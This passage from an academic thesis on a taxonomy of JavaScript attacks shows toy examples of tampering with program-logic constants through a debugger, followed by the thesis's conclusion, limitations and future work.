var numberOfInstalls;

// Lets say the software has been installed 10 times
numberOfInstalls = 10;
if (numberOfInstalls >= MAX){
    alert("Restrict Usage due to too many installs.");
}

Figure 5.17 – Program Logic including a MAX constant constraint

The attack on the code in figure 5.17 is to tamper with the bounds of the range. The business model requires the variable to be between 1 and 100. We lower the upper range from 100 to 10.

var x = 20;
var y = 480;

function inRange(a){
    var min = 1;
    var max = 100;
    if(min < a && a < max)
        return true;
    else
        return false;
}

if (!inRange(x)){
    alert("out of bounds error!");
}

Figure 5.18 - Program Logic including a range for a variable
The attack on the code in figure 5.18 is to tamper with the required relationship between two variables. The business model requires the relationship between two variables to hold. We change the constant from 500 to 499.

function checkRelationship (a, b){
    var constant = 500;
    if (a + b == constant)
        return true;
    else
        return false;
}

if (!checkRelationship(x,y)){
    alert("relationship property unsatisfied error!");
}

Figure 5.19 - Program Logic including a relationship between two variables

As we demonstrate in figure 5.19, in order to execute the attack we have altered the program properties in the watch tab while the program is being executed through the debugger.
Figure 5.20 - White Box Program Logic Related Tampering attack
5.7 Conclusion

In this chapter we thoroughly explored various flavors of Man at the End or White Box attacks using code snippets to demonstrate the attacks along with some guidelines for mitigation. The next chapter concludes this thesis by discussing our contributions and ideas for future work.
Chapter 6

Conclusion

6.1 Contributions

In this section we reiterate the contributions of this thesis in the field of software security. The first is that to our knowledge there is no centralized resource of attacks and potential vulnerabilities in JavaScript applications. The next step was to identify different ways to categorize the attack. Categories were based on different aspects such as where the attack takes place, the type of access the attacker has on the platform, who wrote the code, what type of code is responsible for the attack, the method of attack and the type of attack. JavaScript constructs that were involved in the attack as well as assets that the attack is targeting were also considered. Finally, each attack was placed into its associated category.

As stated above we defined each category based on an aspect that would better identify the context for which the attack takes place. We defined these aspects so that they do not overlap, are not redundant and are mutually exclusive. Therefore the final taxonomy is orthogonal.

Another main contribution of this thesis is the adaptation of White Box attacks. White Box attacks take place when the attacker has full access of the platform and software application. Through construction of the taxonomy we created a set of categories for which attacks had not been previously identified in JavaScript. These attacks have been addressed in languages such as C but are only recently finding relevance in JavaScript due to the trend of moving more and more application logic to the client side. We were interested in adapting the previous known attacks to JavaScript. In this thesis we explore five main White Box attacks that target sensitive data, call graphs, functions, control flow graphs and program logic.

6.2 Limitations

The first limitation of this work is that although we have identified the context of each attack through the taxonomy as well as explain each attack in detail, we did not include detailed mitigation
techniques for each attack. This was not a goal of the thesis, but would be very useful for security experts that refer to our work.

The main goal of this work is for a security expert to identify the context of JavaScript attacks using our taxonomy. He can then enforce countermeasures so that the code is up to security standards. An important next step would be the automation of this process. Unfortunately this is currently not possible and based on the constructed categories we do not know of any tools that can help identify the context of an attack in an automated manner.

6.3 Future Work

This research by nature is subject to incremental change. This means that as new JavaScript attacks are discovered they are added and placed in the appropriate taxonomy category. This would be done much more effectively if there was an associated website that would allow collaborative input from members of the security community.

Another useful future step would be a web application in order for users to apply the different attacks. This allows users to recreate the attack in a real life situation facilitating the learning process.

Finally it would be interesting to create an automated tool that would propose possible JavaScript vulnerabilities in an application. This tool would be guided by the taxonomy that we have created in this thesis.
References


[41] Indexed Database API. W3C Candidate Recommendation 04 July 2013. http://www.w3.org/TR/IndexedDB/


www.linuxjournal.com/article/7795, 2004


